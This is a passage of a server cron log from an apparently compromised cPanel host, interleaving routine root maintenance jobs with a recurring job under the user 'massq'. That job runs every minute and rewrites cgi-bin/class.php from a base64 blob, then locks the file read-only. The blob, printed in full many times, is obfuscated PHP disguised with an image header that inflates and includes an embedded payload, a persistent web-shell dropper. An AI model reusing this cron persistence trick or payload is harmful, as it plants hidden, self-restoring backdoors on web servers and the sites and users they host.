YO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:46:01 server CROND[16625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:46:01 server CROND[16624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:46:01 server CROND[16626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:47:01 server CROND[17005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:47:01 server CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:47:01 server CROND[17007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:48:01 server CROND[17381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:48:01 server CROND[17382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:48:01 server CROND[17383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:49:01 server CROND[17749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:49:01 server CROND[17750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:49:01 server CROND[17751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:50:01 server CROND[18133]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:50:01 server CROND[18136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:50:01 server CROND[18144]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:50:01 server CROND[18145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:50:01 server CROND[18143]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:50:01 server CROND[18147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:50:01 server CROND[18148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:50:01 server CROND[18151]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:50:01 server CROND[18154]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:51:02 server CROND[19109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:51:02 server CROND[19110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:51:02 server CROND[19112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:52:01 server CROND[19480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:52:01 server CROND[19481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:52:01 server CROND[19482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:53:01 server CROND[19859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:53:01 server CROND[19860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:53:01 server CROND[19861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:54:01 server CROND[20234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:54:01 server CROND[20235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:54:01 server CROND[20236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:55:01 server CROND[20637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:55:01 server CROND[20640]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 11:55:01 server CROND[20639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:55:01 server CROND[20641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:55:01 server CROND[20642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 11:55:01 server CROND[20643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:55:01 server CROND[20645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:56:01 server CROND[21672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:56:01 server CROND[21673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:56:01 server CROND[21671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:57:01 server CROND[22051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:57:01 server CROND[22052]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:57:01 server CROND[22053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:57:01 server CROND[22054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:58:01 server CROND[22426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 11:58:01 server CROND[22427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
